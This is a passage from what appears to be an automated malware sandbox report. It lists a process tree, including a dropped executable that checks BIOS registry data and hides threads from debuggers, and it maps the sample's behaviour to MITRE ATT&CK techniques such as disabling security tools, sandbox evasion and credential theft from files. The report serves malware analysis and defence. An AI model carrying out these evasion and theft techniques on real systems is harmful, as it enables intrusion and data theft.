  2⤵
  PID:1636

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "16325139272064247198-450698144-10575802501248297401-447989411-3625821871176371146"
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2164

C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core
1⤵
PID:3744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery